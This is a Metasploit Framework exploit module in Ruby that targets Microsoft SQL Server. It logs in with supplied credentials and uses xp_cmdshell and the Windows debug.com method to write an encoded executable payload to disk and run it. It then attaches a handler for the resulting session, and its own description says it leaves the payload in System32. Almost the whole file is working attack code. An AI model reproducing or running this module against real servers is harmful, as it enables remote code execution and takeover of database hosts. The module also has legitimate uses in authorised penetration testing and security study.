##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::MSSQL
  def initialize(info = {})

    super(update_info(info,
      'Name'           => 'Microsoft SQL Server Payload Execution',
      'Description'    => %q{
          This module will execute an arbitrary payload on a Microsoft SQL
        Server, using the Windows debug.com method for writing an executable to disk
        and the xp_cmdshell stored procedure. File size restrictions are avoided by 
        incorporating the debug  bypass method presented at Defcon 17 by SecureState.
        Note that this module will leave a metasploit payload in the Windows
        System32 directory which must be manually deleted once the attack is completed.
      },
      'Author'         => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'OSVDB', '557'],
          [ 'CVE', '2000-0402'],
          [ 'BID', '1281'],
          [ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf'],
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0 
      ))
  end

  def exploit
    
    debug = false # enable to see the output
    
    if(not mssql_login_datastore) 
      print_status("Invalid SQL Server credentials")
      return
    end
    
    mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)

    handler
    disconnect
  end
end